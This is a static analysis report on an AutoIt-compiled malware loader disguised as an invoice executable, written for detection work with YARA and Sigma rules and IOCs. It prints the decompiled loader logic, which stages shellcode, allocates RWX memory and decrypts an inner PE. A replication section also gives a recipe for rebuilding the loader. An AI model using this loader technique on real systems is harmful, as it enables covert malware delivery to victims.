498f7bf34e8e067e036bebc978ab35e74b9a3ef31cc6ff58d8542a2566518e7aunclassified-autoit-compiled: 498f7bf3 — Caesar-3 hex-shellcode with 28-byte XOR key decrypting 229 KB inner PE
Executive Summary
Thirty-ninth confirmed sibling of the unclassified-autoit-compiled AutoItSC single-file PE32 cluster. UPX-packed transport layer (670 KB) over a 1.19 MB unpacked binary. The compiled script decrypts a two-stage payload via Caesar-3 string obfuscation, allocates RWX memory, and executes shellcode at offset 0x23b0 via DllCallAddress. The shellcode constructs a 28-byte XOR key on the stack (5OOV6X5XTTFIAL29V28SLZ669JRP) to decrypt a 229 KB inner PE32. Inner payload is a stripped x86 GUI PE (224 KB) with minimal imports, no exports, zero string surface, and a high-entropy .rsrc section — likely a second-stage infostealer or RAT payload. No C2 strings recovered in any layer. Static-only analysis.
What It Is
| Field | Value |
|---|---|
| SHA-256 | 498f7bf34e8e067e036bebc978ab35e74b9a3ef31cc6ff58d8542a2566518e7a |
| Filename | PAYMENT_INVOICE_RFQ_NEA062E23.exe |
| File type | PE32 executable (GUI) Intel 80386, UPX compressed, 3 sections ^[file.txt] |
| Size (packed) | 686,080 bytes (670 KB) |
| Size (unpacked) | 1,192,960 bytes (1.16 MB) ^[rabin2-info.txt] |
| Compiler | AutoItSC v3.3.8.1+ runtime, MSVC 14.16 (VS 2017) linker ^[exiftool.json] |
| PE timestamp | Thu Jul 25 00:25:36 2024 UTC ^[pefile.txt:40] |
| Packing | UPX 4.2.2; compression ratio 57.51% |
| Script placement | .rsrc RT_RCDATA (277 KB, entropy 7.999), header AU3!EA06 at offset 16 ^[pefile.txt] |
| Script header | a3 48 4b be 98 6c 4a a9 99 4c 53 0a 86 d6 48 7d + AU3!EA06 |
| Signing | Unsigned |
| PDB | None |
| VS_VERSIONINFO | Empty (FileVersion 0.0.0.0, ProductVersion 0.0.0.0) ^[pefile.txt:217-239] |
How It Works
Stage 0: UPX-packed transport
Outer binary is UPX-compressed with the classic UPX0/UPX1 section pair. UPX 4.2.2 decompression to a 5-section PE32 (.text, .rdata, .data, .rsrc, .reloc). ^[file.txt] The packed file carries minimal imports (LoadLibraryA, GetProcAddress, VirtualProtect, VirtualAlloc, VirtualFree, ExitProcess) typical of UPX-stub PEs. ^[pefile.txt:250-255]
Stage 1: AutoItSC runtime + compiled script
The unpacked binary is the AutoItSC single-file runtime with an embedded compiled script. The script is stored in .rsrc as type 10 (RT_RCDATA), entry with no ID, 277,278 bytes, entropy 7.999. The first 16 bytes are the encrypted header a3484bbe986c4aa9994c530a86d6487d; the AU3!EA06 marker appears at offset 16. ^[autoit-ripper extraction log]
autoit-ripper --ea EA06 successfully extracted the script (111 KB .au3 file plus two FileInstall assets: asset and outvaunts).
Stage 2: AutoIt script logic (decompiled)
FileInstall ( "asset" , @TempDir & "\asset" , 1 )
FileInstall ( "outvaunts" , @TempDir & "\outvaunts" , 1 )
Local $L30IHM = DllCall ( "kernel32.dll" , "handle" , "CreateFile" , "str" , @TempDir & "\outvaunts" , ... )
Local $O32NN6 = DllCall ( "kernel32.dll" , "dword" , "GetFileSize" , "handle" , $L30IHM [ 0 ] , "ptr" , 0 )
Local $P34Z6XPHF = DllStructCreate ( "char[" & $O32NN6 [ 0 ] & "]" )
DllCall ( "kernel32.dll" , "int" , "ReadFile" , ... )
DllCall ( "kernel32.dll" , "int" , "CloseHandle" , "handle" , $L30IHM [ 0 ] )
Local $M3132OC5DKO7N = DllStructGetData ( $P34Z6XPHF , 1 )
$M3132OC5DKO7N = Execute ( "W30gfpz1($M3132oC5DKo7n, 3)" )
$A3136OYU96AXN = Execute ( "DllC" & "all(W30gfpz1(...) ...)" )
$A3136OYU96AXN = Execute ( "$A3136OyU96aXn[" & "0]" )
$N3230LKTN = Execute ( "DllStr" & "uctCreate(...)" )
Execute ( "DllStru" & "ctSetData($N3230LkTN, 1, $M3132oC5DKo7n)" )
Execute ( "DllC" & "allAddress(W30gfpz1(""lqw"", 3), $A3136OyU96aXn + 0x23b0)" )
Flow: ^[script.au3:1-16]
FileInstalldropsasset(229 KB) andoutvaunts(28 KB) to%TEMP%.- Read
outvauntsinto a buffer. - Caesar-3 decode the buffer via
W30gfpz1($data, 3). - Allocate RWX memory (
0x40 = PAGE_EXECUTE_READWRITE) viaVirtualAlloc. - Copy decoded shellcode into the allocation.
- Execute shellcode at offset
0x23b0viaDllCallAddress.
Stage 3: Shellcode (outvaunts-decoded.bin)
Caesar-3 decoding outvaunts strips each ASCII character by -3, revealing a hex string (0x55...). The hex string is decoded to 14,336 bytes of x86 shellcode. ^[outvaunts analysis]
The shellcode entry at offset 0x23b0 (relative to the allocation base) constructs a 28-byte XOR key on the stack via sequential MOV BYTE PTR [EBP+offset], imm8 instructions:
| Offset | Byte | ASCII |
|---|---|---|
| ebp+0xDC | 0x35 | 5 |
| ebp+0xDD | 0x4f | O |
| ebp+0xDE | 0x4f | O |
| ebp+0xDF | 0x56 | V |
| ebp+0xE0 | 0x36 | 6 |
| ebp+0xE1 | 0x58 | X |
| ebp+0xE2 | 0x35 | 5 |
| ebp+0xE3 | 0x58 | X |
| ebp+0xE4 | 0x54 | T |
| ebp+0xE5 | 0x54 | T |
| ebp+0xE6 | 0x46 | F |
| ebp+0xE7 | 0x49 | I |
| ebp+0xE8 | 0x41 | A |
| ebp+0xE9 | 0x4c | L |
| ebp+0xEA | 0x32 | 2 |
| ebp+0xEB | 0x39 | 9 |
| ebp+0xEC | 0x56 | V |
| ebp+0xED | 0x32 | 2 |
| ebp+0xEE | 0x38 | 8 |
| ebp+0xEF | 0x53 | S |
| ebp+0xF0 | 0x4c | L |
| ebp+0xF1 | 0x5a | Z |
| ebp+0xF2 | 0x36 | 6 |
| ebp+0xF3 | 0x36 | 6 |
| ebp+0xF4 | 0x39 | 9 |
| ebp+0xF5 | 0x4a | J |
| ebp+0xF6 | 0x52 | R |
| ebp+0xF7 | 0x50 | P |
Key: 5OOV6X5XTTFIAL29V28SLZ669JRP (28 bytes) ^[r2 shellcode decompilation]
Stage 4: Inner payload (asset-decrypted.bin)
XOR-decrypting asset with the 28-byte key yields a 229 KB PE32 x86 GUI executable:
| Field | Value |
|---|---|
| MD5 | 8baafc223f87e952232c4d78cdd72831 |
| SHA-256 | d72c10f8a72b10f785d29ca4b85d04f2c3b03038228ed7f130b1c37c5c22407e |
| Sections | 4 (.text, .rdata, .data, .rsrc) |
| .rsrc entropy | 7.981 (likely encrypted config or second-stage payload) |
| Imports | KERNEL32.dll (67 APIs), ole32.dll (OleInitialize), OLEAUT32.dll (9 APIs) |
| Exports | None |
| Signing | Unsigned |
| VS_VERSIONINFO | None |
| PDB | None |
The inner payload has zero exports, zero debug info, and a minimal import table limited to CRT, OLE, and SafeArray APIs. The 88 KB .rsrc section with entropy 7.981 is the most likely location of encrypted config, C2 addresses, or plugin modules. No plaintext C2, wallet addresses, or browser paths were recovered from the decrypted binary via strings extraction. ^[asset-decrypted.bin strings]
Decompiled Behavior
Ghidra / radare2 observations on outer binary
The outer AutoItSC binary's main at 0x00401c60 is a standard AutoIt runtime entry. The entrypoint at 0x00420577 initializes the C runtime, resolves imports, and calls main(argc, argv) — no custom anti-debug or VM checks in the outer PE itself. ^[r2:entry0]
The resource-loading function at 0x004435ba calls FindResourceExW, SizeofResource, LockResource, and copies the encrypted script into a heap buffer. The AU3!EA06 magic is validated before decryption begins. ^[r2:fcn.004435ba]
AutoIt script structure
The decompiled .au3 is heavily padded with dead code:
- 700+ lines of dummy AutoIt statements (random math, GUI calls, file operations on non-existent files)
- Variable names are 30+ character noise strings (
$L30IHM,$O32NN6,$P34Z6XPHF) - The actual payload logic occupies only the first 16 lines and the
W30gfpz1function definition (lines 3542–3550) - This is a deliberate anti-static technique: static analysis tools must parse thousands of lines of dead code before finding the real logic ^[script.au3]
C2 Infrastructure
No C2 indicators recovered. All three layers (outer PE, AutoIt script, inner payload) contain no plaintext domains, IPs, URLs, mutex names, or hardcoded registry keys. The inner payload's .rsrc section (entropy 7.981) likely holds encrypted C2 config, but the encryption method and key are not recoverable without dynamic execution.
Interesting Tidbits
- Caesar-3 obfuscation is a known cluster pattern — sibling
6718622duses Caesar-3 hex-string obfuscation with aP30r6oDfdecoder function name. This sample extends the pattern with a genericW30gfpz1function. ^[entities/unclassified-autoit-compiled.md] - 28-byte XOR key is unusually long for commodity malware; most siblings use 19–22 byte keys. The key
5OOV6X5XTTFIAL29V28SLZ669JRPis a mix of leetspeak (OOfor00,6X5XforGS) and random characters, suggesting either a builder-generated key or deliberate obfuscation. - No overlay placement — unlike siblings
ff84806a,e5647a2d,f346b7e9,d990bd1b6,941a189b,7768873f,fb5bc543, anda8beee89which store the script in the file overlay, this sample places it in.rsrcRT_RCDATA (the more common placement). - Filename theme —
PAYMENT_INVOICE_RFQ_NEA062E23.execombines three social-engineering vectors (payment, invoice, request-for-quotation) plus a fake alphanumeric tracking code (NEA062E23), suggesting targeted business-to-business delivery. - Inner payload is unattributed — no family signatures (AgentTesla, Remcos, AsyncRAT, etc.) were observed in the decrypted PE. The 88 KB
.rsrcsection may contain a .NET assembly (OLEAUT32 SafeArray APIs present) or a second-stage shellcode. - UPX compression ratio of 57.51% is lower than the typical 64–68% seen in this cluster (e.g.,
68e48a8cat 64.94%), suggesting the inner content is already compressed/encrypted before UPX is applied.
How To Mess With It (Homelab Replication)
Toolchain
- AutoIt v3.3.8.1 (or later) from
https://www.autoitscript.com - UPX 4.2.2 for optional transport-layer compression
- Any x86 assembler (nasm / fasm) for shellcode stub
Caesar-3 obfuscation recipe
Func W30gfpz1($str, $shift)
Local $result = ""
For $i = 1 To StringLen($str)
Local $char = Asc(StringMid($str, $i, 1))
$char -= $shift
$result &= Chr($char)
Next
Return $result
EndFunc
Shellcode key-build pattern
; Build XOR key on stack via MOV imm8 to [EBP+offset]
mov byte [ebp+0xDC], 0x35 ; '5'
mov byte [ebp+0xDD], 0x4F ; 'O'
; ... repeat for 28 bytes ...
Verification
- Write an AutoIt script that
FileInstalls a hex-encoded shellcode payload. - Apply Caesar-3 encoding to the hex string before embedding.
- Decode at runtime, allocate RWX via
VirtualAlloc, and execute at0x23b0viaDllCallAddress. - The shellcode should XOR-decrypt a PE file with a builder-generated key.
- Compare capa fingerprint to the cluster baseline — should hit
load and execute PE file,allocate RWX memory, andexecute shellcode.
Deployable Signatures
YARA rule
rule AutoItSC_Caesar3_Shellcode_Xor28_2024 {
meta:
description = "AutoItSC single-file PE32 with Caesar-3 hex shellcode and 28-byte XOR key"
author = "PacketPursuit"
date = "2026-07-07"
hash = "498f7bf34e8e067e036bebc978ab35e74b9a3ef31cc6ff58d8542a2566518e7a"
family = "unclassified-autoit-compiled"
strings:
$au3_header = { a3 48 4b be 98 6c 4a a9 99 4c 53 0a 86 d6 48 7d }
$au3_magic = "AU3!EA06"
$caesar_func = "W30gfpz1"
$xor_key = "5OOV6X5XTTFIAL29V28SLZ669JRP"
$fileinstall_asset = "FileInstall ( \"asset\""
$fileinstall_outvaunts = "FileInstall ( \"outvaunts\""
$dllcall_virtualalloc = { 44 6c 6c 43 61 6c 6c 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 }
$dllcalladdress = "DllC" ascii wide
condition:
uint16(0) == 0x5A4D and
($au3_magic or $au3_header) and
(2 of ($fileinstall_*) or $caesar_func) and
filesize > 500KB and filesize < 2MB
}
Sigma rule
title: AutoItSC Caesar-3 Shellcode Execution
detection:
selection:
- CommandLine|contains:
- 'PAYMENT_INVOICE_RFQ'
- 'outvaunts'
- 'W30gfpz1'
- Image|endswith:
- 'AutoIt3.exe'
- ParentImage|endswith:
- '.exe'
- CommandLine|contains:
- 'DllCallAddress'
- 'VirtualAlloc'
condition: selection
logsource:
category: process_creation
product: windows
IOC list
| Indicator | Type | Context |
|---|---|---|
498f7bf34e8e067e036bebc978ab35e74b9a3ef31cc6ff58d8542a2566518e7a |
SHA-256 | Outer packed binary |
d72c10f8a72b10f785d29ca4b85d04f2c3b03038228ed7f130b1c37c5c22407e |
SHA-256 | Inner decrypted payload |
PAYMENT_INVOICE_RFQ_NEA062E23.exe |
Filename | Social-engineering lure |
outvaunts |
Filename | Hex-encoded shellcode staging file |
asset |
Filename | Encrypted inner PE staging file |
5OOV6X5XTTFIAL29V28SLZ669JRP |
XOR key | 28-byte stack-built key |
%TEMP%\outvaunts |
File path | Shellcode staging |
%TEMP%\asset |
File path | Inner PE staging |
AU3!EA06 |
Magic | AutoItSC compiled script header |
0x23b0 |
Offset | Shellcode execution entry point |
Behavioral fingerprint
This binary is an AutoItSC single-file PE32 executable that, upon launch, drops two files (asset and outvaunts) to %TEMP%, decodes outvaunts via Caesar-3 hex string transformation, allocates RWX memory, copies the decoded bytes into it, and executes at offset 0x23b0 via DllCallAddress. The shellcode then constructs a 28-byte XOR key on the stack byte-by-byte and uses it to decrypt asset into a valid PE32 executable with minimal imports, no exports, and an encrypted .rsrc section.
Detection Signatures
| Technique | Description | ATT&CK ID |
|---|---|---|
| Compiled AutoIt script execution | AutoItSC single-file PE32 runtime executes embedded bytecode | T1059.005 |
| Process injection via shellcode | DllCallAddress at fixed offset 0x23b0 after VirtualAlloc RWX |
T1055 |
| Allocate RWX memory | VirtualAlloc with PAGE_EXECUTE_READWRITE (0x40) |
T1055.012 |
| Payload decryption via XOR loop | 28-byte key built on stack, applied to 229 KB encrypted PE | T1027 |
| Obfuscated string encoding | Caesar-3 character shift hides hex-encoded shellcode | T1027.002 |
| Dead-code anti-static | 700+ lines of dummy AutoIt statements before real logic | T1027.002 |
| File system payload staging | Dual-file drop to %TEMP% (asset + outvaunts) |
T1105 |
| Screen capture capability | GDI32 imports present in outer binary | T1113 |
| Clipboard data access | OpenClipboard, GetClipboardData, SetClipboardData in outer binary |
T1115 |
| Keylogging capability | GetAsyncKeyState, GetKeyboardState, keybd_event in outer binary |
T1056.001 |
| Registry manipulation | RegSetValueExW, RegOpenKeyExW in outer binary |
T1112 |
| Token privilege manipulation | OpenProcessToken, AdjustTokenPrivileges in outer binary |
T1134.001 |
| WinInet HTTP client | InternetOpenW, InternetConnectW, HttpOpenRequestW in outer binary |
T1071.001 |
| Raw socket networking | WSOCK32.dll (socket, connect, send, recv) in outer binary |
T1095 |
| ICMP reconnaissance | IcmpCreateFile, IcmpSendEcho in outer binary |
T1016 |
References
- MalwareBazaar artifact:
d3561f6e-4260-4088-b2f0-7217784a4913 - AutoItSC cluster entity: unclassified-autoit-compiled
- Caesar-3 technique: caesar-3-hex-shellcode-staging
- Sibling
6718622d— first observed Caesar-3 pattern in cluster - Sibling
763ae850—S30K9CPGCaesar-5 + XOR key"06"obfuscation
Provenance
file.txt— file(1) identificationpefile.txt— pefile module structural analysisrabin2-info.txt— radare2 binary header summaryexiftool.json— ExifTool metadata extractionstrings.txt— standard strings extractioncapa.txt— Mandiant capa (packed-sample limitation warning only)floss.txt— FireEye flare-floss (not run — argparse error)binwalk.txt— embedded artefact scan (PE only)dynamic-analysis.md— CAPE skipped (no Windows guest)autoit-ripperv1.2.0 — script extraction from.rsrcRT_RCDATAupx4.2.2 — decompressionradare2— static disassembly and decompilation- Custom Python scripts — Caesar-3 decoding, hex extraction, XOR decryption